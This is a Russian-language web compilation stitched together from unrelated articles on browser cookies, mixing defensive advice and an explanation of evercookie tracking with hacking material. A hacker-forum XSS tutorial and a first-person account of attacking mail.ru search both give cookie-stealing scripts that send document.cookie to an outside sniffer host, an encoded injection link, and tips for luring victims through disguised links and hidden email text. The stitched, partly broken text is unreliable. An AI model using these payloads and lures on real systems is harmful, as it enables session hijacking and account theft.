Мой знакомый забыл пароль к одному сайту. Однако ранее он поставил при входе флажок «Запомнить меня» в браузере Google Chrome, что позволяло ему заходить на сайт под своим аккаунтом. Мне прилетел вопрос, можно ли перенести это волшебное состояние на другой компьютер. Правильнее, конечно, было бы сменить или восстановить пароль, но сделать это знакомый не мог по причинам, не относящимся к делу.

Как пользоваться intercepter-ng для чайников

Несмотря на многообразие выбора современного софта, программы для взлома на андроид лучше, чем intercepter ng найти сложно. Первым критерием, указывающим в пользу данного продукта, является его реальная работоспособность. Большинство предлагаемых снифферов в сети – только имитация, не выполняющая заявленных функций.

Следующими положительными факторами является многофункциональность приложения и охват широкой аудитории пользователей.

Компьютерная помощь 939-29-71

Начнём по порядку. Cookies или » куки » — это очень маленькие текстовые файлики — закладки с информацией.

Эту информацию веб — сервер передает на браузер пользователя. где эта информация и хранится до востребования. Не совсем понятно. Ну. хорошо.

постараюсь ещё проще. Смотрите. вы зарегистрировались на каком — либо сайте.

В момент регистрации и создаются эти самые » куки «.

Вот они — то и являются.

Cookie Cadger

Программа прослушивает трафик в WiFi-сети, перехватывает cookies и реплицирует сессию пользователя в вашем браузере, повторяя запросы с его учётными данными. Автор Мэтью Салливан (Matthew Sullivan) провёл презентацию программы 30 сентября на конференции хакеров Derbycon. Прямо во время выступления Мэтью Салливан перехватил по WiFi незащищённую сессию с Google одного из посетителей конференции.

Как украсть куки

Если, находясь на странице сайта, Вы введёте в адресную строку браузера Firefox или Opera следующий текст: javasсript:document.write(document.сооkiе); то увидите нечто вроде: remixAdminsBar=0; remixGroupType=0; remixpass=******************; remixwall=0; remixInformation=0; remixMembersBar=0; remixdescription=0; remixautobookmark=8; remixemail=*******; remixmid=23363; remixchk=5; remixaudios=0; remixlinksBar=1; remixOfficersBar=0; remixPhotosBar=0; remixTopicsBar=0; remixvideos=0; remixRecentNews=0; remixAlbumsBar=0 Внимание! .

Полное пособие по межсайтовому скриптингу

XSS – это тип уязвимости программного обеспечения, свойственный Web-приложениям, который позволяет атакующему внедрить клиентский сценарий в web-страницы, просматриваемые другими пользователями В Wikipedia содержится следующее определение для XSS: «Межсайтовый скритинг (XSS) – это тип уязвимости программного обеспечения, свойственный Web-приложениям (путем обхода ограничений безопасности браузера)», который позволяет атакующему внедрить клиентский сценарий в web-страницы, просматриваемые другими пользователями.

Разница между cookie и сессиями

Не так давно я писал статью о том, как сделать регистрацию и авторизацию пользователей на сайте.

«. В этой статье я собираюсь разобрать разницу между сессиями и cookie . чтобы Вы окончательно определились с выбором.

Cookies. Нет, речь вовсе не о печенье, речь о вашей безопасности. Вот заходите вы свой любимый сайт «vkontakte» (или, например, посмотреть почту) на чужом компьютере, отказываетесь от опции «сохранить пароль», радостно просматриваете почту и уходите. И не задумываетесь о том, что под вашим именем теперь можно зайти в социальную сеть или почту.

Я даже не рассматриваю ситуацию с программой, которая запомнила пароль без вашего ведома. Это уже взлом сознательный, и вы, наверное, будете подозревать, что что-то такое может случиться и не зайдете на таком компьютере на любимый сайт. Но речь может идти о простом человеческом любопытстве — были в гостях у знакомых, а тут раз, и они получают возможность почитать вашу почту. Вы уверены, что они откажутся от такой возможности? А вы не боитесь, что что-то выплывет? В любом случае, я отложу вопросы нравственности и просто поговорю о том, каким образом созраняется на компьютере информация о том, что вас теперь можно пустить на какой-то сайт не запрашивая пароля.

как украсть Cookie

И имя этой технологии — cookies.

А началось все вот с чего. Протокол http по которому, собственно, вы и просматриваете сайты (включая этот) изначально не предполагал возможности поддержания соединения. То есть, грубо говоря, вы отправляете запрос на сайт, получаете ответ, он отображается на экране, а дальше сервер ничего о вас не помнит. Это, конечно, хорошо, когда сайт чисто информационный и не должен ничего о вас помнить, но мы же живем в веке Web 2.0 😉 Естественное развитие протокола — POST и GET запросы, когда вы отправляете какие-то данные, сервер может записать их в базу данных, но и этого оказывается недостаточно.

Рассмотрим очень простой пример. Форум. Вот вы зарегистрировались, и на форуме есть запись о том, что есть такой-то пользователь с таким-то паролем и какими-то еще дополнительными данными. Но вот теперь вы заходите на форум и авторизуетесь — вводите свой пароль. Где-то должна сохраниться информация о том, что вы авторизовались. На сервере? Конечно, нет! На сервере невозможно сохранить информацию о том, что именно с вашего компьютера была произведена авторизация — он не сможет отличить вас от кого-то другого (даже ваш IP-адрес вас не идентифицирует однозначно)! Таким образом, информацию о том, что произошла авторизация нужно хранить на вашем компьютере. Вот зачем нужны cookies, именно для этого они и были созданы.

Cookie — это маленькая запись на вашем компьютере, хранящая информацию о сайте, который вы посетили. При авторизации создается подобная запись, после чего вы уже можете гулять по форуму, и он будет вас опознавать. Однако, это уже будет происходить автоматически — благодаря информации, хранящейся в cookie — так что сделать вид, что вы являетесь главным администратором форума, все равно не получится в обход проверки пароля.

Теперь можно вернуться к тому, с чего начиналась эта статья. Если вы авторизовались где-то даже не сохраняя пароль, то может случиться так, что на компьютере создалась запись, позволяющая теперь входить на этот ресурс под вашим именем без авторизации. Такая запись сама устареет через некоторое время, но можно ее принудительно очистить. В каждом браузере это делается по-своему, я покажу, как это можно сделать в моем любимом Google Chrome. Открываем параметры

Переходим на вкладку «расширенные» и находим кнопку «показать Cookies»

Теперь, конечно, можно удалить и все cookies, но это может расстроить хозяина компьютера. Поэтому, например, в верхнем поле можно ввести название интересуещего вас сайта

Тогда можно произвести очистку только cookies, относящихся к этому сайту. Можете попробовать на моем. При этом если вы авторизуетесь на моем форуме, а затем очистите cookies, то информация об авторизации будет забыта. Попробуйте!

comments powered by

1.Что такое XSS(англ. Сross Site Sсriрting - «межсайтовый скриптинг»)
Уязвимость типа XSS позволяет вставить произвольный javascript код в тело страницы. Атака XSS отличается от других(напр. SQL injection или PHP injection) тем, что действует не на сервер, а на клиента.

как украсть cookies

С ее помощью нельзя посмотреть таблицы БД, залить шелл и т.п. Чаще всего XSS испульзуют для кражи cookies.
Cookies(Куки) — небольшой фрагмент данных, созданный веб-сервером и хранимый на компьютере пользователя в виде файла. Обычно куки используются для хранения учетных записей, и, чаще всего, в них находятся закодированные пароль, логин, и идентификатор сессии.(хотя далеко не всегда)
XSS бывают двух типов, активные и пассивные.

Пассивные XSS требуют от жертвы непосредственного участия, например перейти по ссылке, содержащей javascript код. При использовании этого типа XSS не обойтись без СИ(Социальная Инженерия)

Активные XSS не требуют никакого участия со стороны жертвы, ей достаточно лишь зайти на страницу с XSS. Активные XSS могут быть, например, в сообщениях на форумах, чатах, в добавлении новости и т.п.

2.Поиск XSS
В этом пункте я расскажу как найти xss

2.1.Пассивные XSS
Чтобы найти пассивную XSS достаточно подставить в форму ввода alert(‘xss’) если скрипт сработал и появилось сообщение "xss" значит уязвимость присутствует, если скрипт не сработал можно еще попробывать ">alert(), это, наверное самая распространенная xss уязвимость. Если ни тот ни другой скрипт не сработал то уязвимости, скорее всего, нет.
Рассмотрим на примере.
http://miss.rambler.ru/srch/?sort=0& … amp;words=
Видите форму "искать"? вставим туда ">alert() и нажмем "найти"
Вылетело окошко c xss, значит xss присутствует.(возможно, на момент прочтения вами данной статьи эту xss уже пофисят)

2.2.Активные XSS
Такие ксс могут быть, например, в полях профиля, при добавлении новости в названии новости и в самой новости(реже), в сообщениях на форумах/чатах/гостивухах при включенном html. Тут все просто, вписываем в поля скрипт из предыдущего подпункта, и если сообщение вывелось на экран, то уязвимость присутствует.
Рассморим xss в BB тегах на форумах.
можно попробовать тупо вставить javascript код в тег, например так:
javasсriрt:alert(‘xss’)
У некоторых тегов есть параметры, например у тега есть параметры dynsrc и lowsrc, попробуем подставить код так:
http://www.site.ru/image.jpg dynsrc=javascript:alert(‘xss’)
Если скрипт сработал, xss есть

3.Использование XSS для кражи cookies
Теперь самое вкусное))))
Для того чтобы украсть куки нам понадобится веб-сниффер, можно установить какой-нибудь сниффер на свой хостинг, а можно воспользоваться онлайн-сниффером, которых сейчас полно.
Чтобы украсть куки через пассивеую XSS надо чтобы жертва прошла по ядовитой ссылке. Чтобы украсть куки мы будем исользовать вместо alert(‘xss’) другой скрипт:
img = new Image();


подставляем скрипт в ссылку и даем жертве перейти по ней, смотри лог сниффера и радуемся.
Рассмотрим на примере.
Возьмем ту XSS на рамблере из предыдущего пункта.
Вставляем
">
img = new Image();
img.src = "адрес картинки-сниффера"+document.cookie;

в форму поиска, нажимаем "найти", смотрим адресную строку и видим:

http://miss.rambler.ru/srch/?sort=0& … &words =">
Кидаем эту ссылку жертве и радуемся кукам.
Увидев такую ссылку жертва может что-то заподозрить, поэтому желательно закодировать
">img = new Image();img.src = "адрес картинки-сниффера"+document.cookie;
в URL Или воспользоваться сервисами типа http://tinyurl.com/
Перейдем к активным XSS, тут все просто, вместо alert() вставляем img = new Image();img.src = "адрес картинки-сниффера"+document.cookie;

Теперь у нас есть куки. Но что с ними делать? Все просто, их надо подставить вместо своих. В браузере Opera есть встроеный редактор cookies(инструменты->дополнительно->управление cookies), для firefox есть плагин(не помню как называется, юзайте гугл)
На этом пока все, возможно статья будет дополняться

На картинке видно, что в cookie присутствует строка wordpress_logged_in_263d663a02379b7624b1028a58464038=admin. Это значение находится в незашифрованном виде в файле cookie и его легко перехватить с помощью утилиты Achilles, но как правило в большинстве случаев в Achilles можно увидеть лишь хеш той или иной записи. Перед отсылкой запроса на сервер можно попытаться заменить эту строку на любую подобную (хотя в данном случае смысла нет) - количество попыток не ограничено. Затем, отослав этот запрос на сервер с помощью кнопки Send, можно получить ответ от сервера, предназначаю­щийся администратору.

В предыдущем примере можно использовать прямую подмену идентификатора пользователя. Кроме того, название параметра, подмена значения которого предоставляет дополнительные возможности хакеру, может быть следующим: user (например, USER=JDOE), любое выражение со строкой ID (например, USER=JDOE или SESSIONID=BLAHBLAH), admin (например, ADMIN=TRUE), session (например, SESSION=ACTIVE), cart (например, CART=FULL), а также такие выражения, как TRUE, FALSE, ACTIVE, INACTIVE. Обычно формат файлов cookie очень зависит от приложения, для нужд которого они используются. Однако приведенные советы по поиску изъянов приложений с помощью файлов cookie годятся практически для всех форматов.

Меры противодействия извлечению информации из файлов cookie, выполняемые на стороне клиента

В общем случае пользователь должен осторожно относиться к Web-узлам, использующим файлы cookie для аутентификации и хранения важных данных. Также необходимо помнить, что Web-узел, использующий для аутентификации файлы cookie, должен поддерживать хотя бы протокол SSL для шифрования имени пользователя и пароля, так как в случае отсутствия этого протокола данные передаются в незашифрованном виде, что позволяет перехватывать их, ис­пользуя простейшие программные средства для просмотра данных, пересылаемых по сети.

Компания Kookaburra Software разработала инструмент, облегчающий использование файлов cookie. Называется инструмент CookiePal (http://www.kburra.com/cpal.html (см. www.kburra.com) ). Данная программа предназначена для предупреждения пользователя при попытке Web-узла установить на машину файл cookie, при этом пользователь может разрешить или запретить это действие. Подобные функции блокирования файлов cookie на сегодня есть во всех браузерах.

Еще одной причиной регулярной установки обновлений Web-броузера, является постоянно выявляемые изъяны системы безопасности этих программ. Так, Бенет Хэйзелтон (Bennet Haselton) и Джеми МакКарти (Jamie McCarthy) создали сценарий, который после щелчка на ссылке извлекает файлы cookie с машины клиента. В результате становится доступным все со­держимое файлов cookie, которые находятся на машине пользователя.

Взлом подобного рода может быть также осуществлен с помощью дескриптора , встраиваемого в HTML-текст на Web-странице (или в HTML-содержимое электронного письма или рассылки групп новостей) для похищения файлов cookie. Рассмотрим следующий пример:

Для того, чтоб подобные вещи не грозили нашим личным данным, сам так делаю и всем советую всегда обновлять ПО, работающее с HTML-кодом (e-mail клиенты, медиа-проигрыватели, браузеры и т.д.).

Многие предпочитают просто блокировать получение файлов cookie, однако, большинству Web-узлов для просмотра необходима поддержка cookie. Вывод – если в скором будущем появится инновационная технология, позволяющая обходится без cookie, программисты и администраторы с облегчением вздохнут, а пока cookie остается лакомым куском для хакера! Это действительно так, поскольку более качественной альтернативы пока не существует.

Меры противодействия, выполняемые на стороне сервера

В случае рекомендаций по обеспечению безопасности сервера специалисты дают один простой совет: не используйте механизм cookie без особой на то необходимости! Особенно необходимо быть осторожными при использовании файлов cookie, которые остаются в системе пользователя после завершения сеанса связи.

Конечно же, важно понимать, что файлы cookie могут использоваться в целях обеспече­ния безопасности Web-серверов для осуществления авторизации пользователей. Если все же разрабатываемому приложению необходимо использовать файлы cookie, то этот механизм следует настроить таким образом, чтобы при каждом сеансе использовались различные клю­чи с коротким периодом действия, а также стараться не помещать в эти файлы информацию, которая может быть использована хакерами для взлома (такую как ADMIN=TRUE).

Кроме того, для обеспечения большей безопасности при работе с файлами cookie можно использовать их шифрование для предотвращения извлечения важной информации. Конечно же, шифрование не решает всех проблем безопасности при работе с технологией cookie, однако этот метод позволит предотвратить наиболее простые взломы, описанные выше.

В котором предлагалось посетить бесплатное мероприятие, посвященное вопросам информационной безопасности. Так как мероприятие проходило в моем городе, я решил, что мне нужно непременно туда сходить. Первое занятие было посвящено уязвимостям на сайтах типа XSS . После занятия я решил, что нужно закрепить полученные знания в реальных условиях. Выбрал для себя несколько сайтов, которые относятся к моему городу и начал во все формы пытаться воткнуть свой скрипт. В большинстве случаев скрипт отфильтровывался. Но бывало так, что «алерт» и срабатывал, и появлялось мое сообщение. О найденной уязвимости сообщал администраторам, и они быстро все исправляли.

В один из таких дней проверяя свежую почту на mail.ru мне на глаза попалась форма для поиска писем в почтовом ящике. Изредка я пользовался этим поиском, чтобы найти что-то нужное в куче своих старых писем. Ну, а так как я в последние пару дней вставлял свой «алерт» практически везде куда только можно было, рука рефлекторно потянулась к этой форме поиска. Набрал код своего скрипта и нажал Enter. Каково же было мое удивление, когда на экране я увидел до боли знакомое сообщение…

На лекции Open InfoSec Days докладчик говорил, что программисты довольно скептически относятся к уязвимостям подобного рода, мол «алерт? Ну и что с того? Это не опасно». Если на других сайтах я довольствовался только этим окошком с моим сообщением, то в данном случае я решил пойти дальше и показать, что из такого вот «алерта» может получиться.

Итак, скрипт срабатывает, а значит, есть уязвимость. Следовательно, можно попробовать запустить какой-нибудь другой скрипт. Например, скрипт, который передает cookies другого пользователя нам. Чтобы скрипт сработал, нужно заставить пользователя выполнить наш скрипт. Сделать это можно отослав ему письмо с соответствующей ссылкой, после нажатия, на которую произойдет поиск по почтовому ящику и выполнится нужный нам код.

На то, чтобы понять механику уязвимости, потребовалось некоторое время и множество экспериментов. Иногда скрипт срабатывал, иногда отфильтровывался. После некоторых усилий эмпирическим путем было установлено, что скрипт 100% срабатывает только в том случае, если поиск по письмам даст положительный результат. То есть когда пользователь выполняет поиск с нашим скриптом, нужно чтобы хотя бы одно письмо в его почтовом ящике по заданным параметрам нашлось. Устроить это не сложно.

Так же вместо «алерта» нужен скрипт, который будет передавать cookies нашему снифферу. Этот скрипт напишем в отдельном файле и будем его подгружать в наш поиск. Создал файл test.js с нужным кодом и залил на хостинг. Код скрипта такой:

Img=new Image();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
function F() {
location="http://www.solife.ru";
}
setTimeout(F, 5000);

Что хотелось бы здесь пояснить. Поставим себя на место злоумышленника. Нужно чтобы пользователь кликнул по ссылке. Как его заставить это сделать? Можно пообещать золотые горы и чтобы их получить нужно, проследовать по нашей ссылке на сайт. Но не думаю, что это сработает. Народ уже на такое не ведется (сам постоянно удаляю такие письма, даже не читая). Поэтому будем играть на человеческой жалости, благо она еще существует в природе. Попросим проголосовать на сайте за спасение истребляемых животных. Вначале заберем cookies, а потом переправим пользователя на сайт для голосования. Таймаут для переадресации выставил в 5 секунд, в противном случае cookies просто не успевали передаться снифферу, а пользователя сразу перебрасывало на сайт про животных. Вместо «алерта» использовал следующий скрипт:

Когда со скриптами было покончено, я занялся написанием письма. Придумал примерно следующее содержание:


Получилось довольно цинично, но старался приблизить условия к максимально реальным. В конце письма дописана строчка со скриптом, это чтобы наше письмо нашлось, когда мы сделаем поиск. Чтобы строка не вызывала лишних вопросов закрасил ее белым цветом. Так же в слове «http» поставил «пробел» чтобы строка не распозналась и не преобразовалась в ссылку. Иначе, несмотря на то, что скриптовая строка написана шрифтом белого цвета ссылка бы выделилась синим цветом у адресата, а этого нам не надо. Умный поиск все равно найдет и распознает эту строку, не смотря на пробелы.

E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

Для скрипта применил URL кодирование, чтобы ничего не отфильтровалось. Так же для поиска добавил параметр «q_folder=0», это чтобы поиск происходил по папке «Входящие».

Письмо готово, отправляем его. В качестве адресата я использовал свой второй почтовый ящик на этом же сервисе. Смотрим, что пришло на другой ящик.

Наш текст скрипта не видно, так как он сливается с фоном. Нажмем на ссылку и посмотрим, что произойдет. Пользователь перемещается в результаты поиска писем по заданному нами параметру. Наше письмо, которое мы отсылали видно в результатах поиска. В это время наш скрипт уже сработал и отослал cookies пользователя снифферу. Через 5 секунд (время зависит от настроек скрипта) пользователь переправляется на сайт с голосованиями.

Проверяю свой файл sniff.txt:

Так как целью моей не является кража чужих ящиков или получения доступа к ним, на этом повествование закончу. Но теоретически можно подменить свои cookies на чужие и получить доступ к чужому почтовому ящику. В общем если злоумышленник загорится целью, то он найдет применение полученной информации.

Хотелось бы поблагодарить Сергея Белова (

Cookies - верная технология, позволяющая веб-сайту "запомнить" пользователя,
сохранить его настройки и не спрашивать каждый раз его логин и пароль. Можно
подумать, что если удалить кукисы в браузере, то сайт тебя не узнает. Но эта
уверенность обманчива.

Можно сколько угодно заморачиваться о своей анонимности, использовать прокси
и VPN, подделывать заголовки HTTP-запросов, выдающие используемую систему,
версию браузера, часовой пояс и море другой инфы, но у веб-сайта все равно
останутся способы распознать факт того, что ты на нем уже бывал. Во многих
случаях это не особо критично, но только не в ситуации, когда на каком-то
сервисе необходимо представиться другим пользователем или банально сохранить
анонимность. Легко представить, как среагирует антифрод-система некой условной
финансовой организации, если определит, что с одного компьютера были выполнены
авторизации под аккаунтами совершенно разных людей. Да и разве приятно
осознавать, что кто-то в Сети может отслеживать твои перемещения? Едва ли. Но
обо всем по порядку.

Как работают куки?

Чтобы идентифицировать пользователя, испокон веков использовались кукисы.
Cookies (от англ. "печенье") - это небольшая порция текстовой информации,
которую сервер передает браузеру. Когда пользователь обращается к серверу
(набирает его адрес в строке браузера), сервер может считывать информацию,
содержащуюся в cookies, и на основании ее анализа совершать какие-либо действия.
Например, в случае авторизованного доступа к чему-либо через веб в cookies
сохраняются логин и пароль в течение сессии, что позволяет пользователю не
вводить их снова при запросах каждого документа, защищенного паролем. Таким
образом, веб-сайт может "запомнить" пользователя. Технически это выглядит
следующим образом. Запрашивая страницу, браузер отправляет веб-серверу короткий
текст с HTTP-запросом.

Например, для доступа к странице www.example.org/index.html браузер
отправляет на сервер www.example.org следующий запрос:

GET /index.html HTTP/1.1
Host: www.example.org

Сервер отвечает, отправляя запрашиваемую страницу вместе с текстом,
содержащим HTTP-ответ. Там может содержаться указание браузеру сохранить куки:

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value

Если есть строка Set-cookie, браузер запоминает строку name=value (имя =
значение) и отправляет ее обратно серверу с каждым последующим запросом:

GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: name=value
Accept: */*

Все очень просто. Если сервер получил от клиента куки и они есть у него в
базе, он однозначно может их обработать. Таким образом, если это были кукисы с
некоторой информацией об авторизации, у пользователя в момент посещения не будет
спрашиваться логин и пароль. По стандарту куки имеют определенный срок жизни
(хоть он и может быть очень большим), после которого умирают. А любые
сохраненные кукисы пользователь без труда может удалить, воспользовавшись
соответствующей опцией, которая есть в любом браузере. Этот факт сильно
расстраивает владельцев многих ресурсов, которые не желают терять связь с
посетителем. Им важно отслеживать его, понимать, что "вот этот человек был у нас
вчера, а еще позавчера и т.д.". Особенно это касается различных анализаторов
трафика, систем для ведения статистики, баннерных сетей и т.п. Вот тут-то и
начинается самое интересное, потому что разработчики используют всякие
ухищрения, о которых многие пользователи даже не подозревают. В ход идут
различные уловки.

Flash-куки

Все дело в том, что помимо обычных HTTP "плюшек", к которым все давно
привыкли, сейчас активно используются альтернативные хранилища, где браузер
может записать данные на стороне клиента. Первое, что нужно упомянуть - это
хранилище любимого и ненавистного одновременно Flash (для тех пользователей, у
которых он установлен). Данные хранятся в так называемых LSO (Local Shared
Objects) - схожих с cookies по формату файлах, которые сохраняются локально на
компьютере пользователя. Подход во многом аналогичен обычным "плюшкам" (в этом
случае на компьютере пользователя точно так же сохраняется небольшое количество
текстовых данных), но имеет некоторые преимущества:

• Flash-кукисы являются общими для всех браузеров на компьютере (в отличие
  от классической cookie, которая привязана к браузеру). Настройки, информация
  о сессии, как и, скажем, некий идентификатор для отслеживания пользователя,
  не привязываются к какому-то конкретному браузеру, а становятся общими для
  всех.
• Flash cookie позволяет сохранять намного больший объем данных (как
  правило, 100 Кб), что увеличивает количество настроек пользователя,
  доступных для сохранения.

На практике LSO становится очень простой и доступной технологией для трекинга
пользователя. Задумайся: если бы я предлагал тебе удалить все "плюшки" в
системе, ты бы вспомнил о Flash-кукисах? Вероятно, нет. А теперь попробуй взять
любой просмотрщик, например, бесплатный

FlashCookiesView и посмотреть, сколько всего интересного записано в
хранилищах Flash. Тут же вырисовывается и список сайтов, которые очень не хотят
потерять твой след, даже если ты подчистишь кэш браузера (вместе с "плюшками").

Кукисы везде с evercookie

Но если об LSO слышали продвинутые пользователи и мало-мальски хорошие
разработчики, то о существовании других техник хранения данных, подчас очень
изощренных (но действенных), многие даже не подозревают. Взять хотя бы новые
хранилища, которые появлялись в
(Session Storage,
Local Storage, Global Storage, Database Storage via SQLite), о которых ты можешь
прочитать в статье " ". Этой проблемой всерьез заморочился польский специалист
по безопасности Samy Kamkar. В результате на свет появилась специальная
JavaScript-библиотека evercookie, которая специально создана для того, чтобы
создавать максимально живучие кукисы в браузере. Кто-то может спросить: "Зачем
это нужно?". Очень просто: для того, чтобы однозначно идентифицировать
посетителя страницы, если он придет вновь. Такие сложно убиваемые кукисы часто
называются Tracking cookies и даже определяются некоторыми антивирусами как
угроза приватности. Evercookie может свести все попытки остаться анонимным к
нулю.

Секрет в том, что evercookie использует сразу все доступные для браузера
хранилища: обычные HTTP-кукисы, LSO, контейнеры HTML5. Кроме того, в ход идет
несколько хитрых приемов, которые с не меньшим успехом позволяют оставить на
компьютере желанную метку. Среди них: генерация особых PNG-изображений,
использование history браузера, хранение данных с помощью тега ETag, контейнер
userData в Internet Explorer - оказывается, что вариантов-то очень много.

В том, насколько это эффективно работает, можно убедиться на сайте
разработчика -
http://samy.pl/evercookie . Если нажать на кнопку "Click to create an
evercookie", в браузере будут созданы кукисы со случайным числом. Попробуй
удалить кукисы везде, где это только возможно. Бьюсь об заклад, сейчас ты
задумался: "Где еще можно удалить кукисы, кроме как в настройках браузера?".
Уверен, что все удалил? Перезагрузи страницу для верности, можешь даже заново
открыть браузер. Вот теперь смело нажимай на кнопку "Click to rediscover cookies".
WTF? Сайту это не помешало откуда-то взять данные - в полях страницы
отобразилось число, которые было сохранено в кукисах. Но мы же их потерли? Как
это получилось? Попробуем разобраться с некоторыми техниками.

Кукисы в PNG

Крайне интересным приемом, используемым в Evercookie, является подход
хранения данных в кэшированных PNG-изображениях. Когда evercookie устанавливает
куки, он обращается к скрипту evercookie_png.php со специальной HTTP "плюшкой",
отличной от той, которая используется для хранения стандартной информации о
сессии. Эти специальные кукисы считываются PHP-сценарием, создающим
PNG-изображение, в котором все значения RGB (цветов) выставляются в соответствии
с информацией о сессии. В конечном итоге PNG-файл отправляется браузеру клиента
с пометкой: "файл необходимо кэшировать 20 лет".

Получив эти данные, evercookie удаляет созданные ранее специальные
HTTP-кукисы, затем выполняет тот же самый запрос к тому же PHP-сценарию, но не
предоставляя информации о пользователе. Тот видит, что интересующих его данных
нет, и сгенерировать PNG он не может. Вместо этого браузеру возвращается
поддельный HTTP-ответ "304 Not Modified", что заставляет его вытащить файл из
локального кэша. Изображение из кэша вставляется на страницу с помощью тега
HTML5 Canvas. Как только это происходит, evercookie считывает каждый пиксель
содержимого Canvas, извлекая RGB-значения и, таким образом, восстанавливая
данные изначальных кукисов, которые были сохранены в изображении. Вуаля, все
работает.

Хинт с Web History

Другой прием напрямую использует историю браузера. Как только браузер
устанавливает плюшку, evercookie с помощью алгоритма Base64 кодирует данные,
которые необходимо сохранить. Предположим, что этими данными является строка,
полученная "bcde" после преобразований в Base64. Библиотека последовательно
обращается в фоновом режиме к следующим URL:

google.com/evercookie/cache/b
google.com/evercookie/cache/bc
google.com/evercookie/cache/bcd
google.com/evercookie/cache/bcde
google.com/evercookie/cache/bcde-

Таким образом, эти URL сохраняются в history. Далее в ход идет специальный
прием - CSS History Knocker, который с помощью JS-скрипта и CSS позволяет
проверить, посещал ли пользователь указанный ресурс или нет (подробнее тут -
samy.pl/csshack). Для
проверки плюшек evercookie пробегается по всем возможным символам Base64 на
google.com/evercookie/cache, начиная с символа "a" и двигаясь далее, но только
на один символ. Как только скрипт видит URL-адрес, к которому было обращение, он
начинает перебор следующего символа. Получается своеобразный брутфорс. На деле
этот подбор осуществляется чрезвычайно быстро, потому что никакие запросы к
серверу не выполняются. Поиск в history осуществляется локально в максимально
короткий срок. Библиотека знает, что достигла конца строки, когда URL будет
заканчиваться символом "-". Декодируем Base64 и получаем наши данные. Как
назвать разработчиков браузеров, которые это позволяют?

Попробуй удали

А что будет, если юзер потрет свои кукисы? Важная фишка самой библиотеки
evercookie в том, что пользователю придется основательно постараться, чтобы
удалить кукисы, оставленные в разных местах - сейчас их 10. Если хотя бы в одном
месте останутся данные куки, то они автоматически восстановятся и во всех других
местах. Например, если пользователь не только удалит свои стандартные кукисы, но
и очистит данные LSO, подчистит HTML5-хранилища, что уже маловероятно, все равно
останутся куки, созданные с помощью кэшированного PNG и web history. При
следующем же посещении сайта с evercookie библиотека не только сможет найти
запрятанную плюшку, но и восстановит их во всех остальных местах, которые
поддерживает браузер клиента. Интересный момент связан с передачей
"плюшек" между браузерами. Если пользователь получает кукисы в одном браузере,
то есть большая вероятность, что они воспроизведутся и в других. Единственное
необходимое для этого условие - сохранение данных в Local Shared Object куке.

Как использовать?

Библиотека Evercookie полностью открытая, поэтому ты можешь свободно
пользоваться ей, подгонять под свои нужды. К серверу не предъявляется никаких
серьезных требований. Все что нужно - это доступ к JS-сценарию, в котором
содержится код evercookie. Чтобы использовать Flash-кукисы (Local Shared Object),
в папке со скриптом должен быть файл evercookie.swf, а для работы техник,
основанных на PNG-кэшировании и использовании хранилища ETag, необходим доступ к
PHP-сценариям evercookie_png.php и evercookie_etag.php. Использовать evercookie
можно на любой страничке сайта, подключив следующий скрипт:

var ec = new evercookie();
// устанавливаем cookie "id" со значением "12345"
// синтаксис: ec.set(key, value)
ec.set("id", "12345");
// восстанавливаем кукису с именем "id"
ec.get("id", function(value)
{
alert("Cookie value is " + value)
});

Есть также другой способ получения кукисов, основанный на использовании более
продвинутой callback-функции. Это позволяет извлечь значения кукисов из
различных используемых хранилищ и сравнить их между собой:

function getCookie(best_candidate, all_candidates)
{
alert("The retrieved cookie is: " + best_candidate + "\n" + "You
can see what each storage mechanism returned " + "by looping through the all
candidates object.");

For (var item in all_candidates) document.write("Storage
mechanism " + item + " returned: " + all_candidates + "
");
}

ec.get("id", getCookie);

Библиотека evercookie доступна каждому. Это немного пугает, особенно если
совершенно не представляешь, что можно против нее предпринять.

Как защититься?

Проблем с тем, чтобы подчистить куки в браузере и Flash"е, нет. Но попробуй
удали данные везде, где наследила evercookie! Ведь если оставишь куки в одном
месте - скрипт автоматически восстановит значение и во всех остальных
хранилищах. По сути, эта библиотека является хорошей проверкой режима
приватности, который сейчас есть практически у всех браузеров. И вот что я тебе
скажу: из Google Chrome, Opera, Internet Explorer и Safari только последний в
режиме "Private Browsing" полностью блокировал все методы, используемые
evercookie. То есть после закрытия и открытия браузера скрипт не смог
восстановить оставленное им значение. Есть повод задуматься. Тем более что в
ближайшее время разработчик evercookie обещал добавить в библиотеку еще
несколько техник хранения данных, в том числе с помощью технологии Isolated
Storage в Silverlight, а также Java-апплета.

Что такое же cookie?

Существует механизм, позволяющий http-серверу сохранять на компьютере пользователя некоторую текстовую информацию, а потом к ней обращаться. Данная информация называется cookie. По сути, каждая cookie - это пара: название параметра и его значение. Также каждой cookie присваивается домен, к которому она относится. В целях безопасности во всех браузерах http-серверу позволено лишь обращаться к cookie своего домена. Дополнительно cookie может иметь дату истечения, тогда они будут хранится на компьютере до этой даты, даже если закрыть все окна браузера.

Почему cookie важны?

Во всех многопользовательских системах cookie используются для идентификации пользователя. Вернее, текущего соединения пользователя с сервисом, пользовательской сессии. Если кто-то узнает Ваши cookie, то сможет зайти в систему от Вашего имени. Потому, что в настоящий момент очень мало интернет-ресурсов проверяет смену IP-адреса в течении одной пользовательской сессии.

Как изменить или подменить cookie?

Разработчики браузеров не предоставляют встроенных средств для редактирования cookie. Но можно обойтись и обычным блокнотом (notepad).

Шаг 1: создаем текстовый файл с текстом

Windows Registry Editor Version 5.00



@="C:\\IE_ext.htm"

Сохраняем его под именем IE_ext.reg

Шаг 2: С помощью созданного файла добавляем изменения в реестр Windows.

Шаг 3: создаем текстовый файл с текстом

< script language ="javascript">
external.menuArguments.clipboardData.setData("Text" , external.menuArguments.document.cookie);

external.menuArguments.document.cookie= "testname=testvalue; path=/; domain=testdomain.ru" ;
alert(external.menuArguments.document.cookie);

Сохраняем его под именем C:\IE_ext.htm

Шаг 4: Заходим на интересующий нас интернет-сайт.

Шаг 5: Правой кнопкой мыши кликам на свободном месте странице и выбираем пункт меню «Работа с Cookies» . Разрешаем доступ к буферу обмена. В буфер обмена попадут Ваши cookie данного сайт. Можете вставить их блокнот (notepad) и посмотреть.

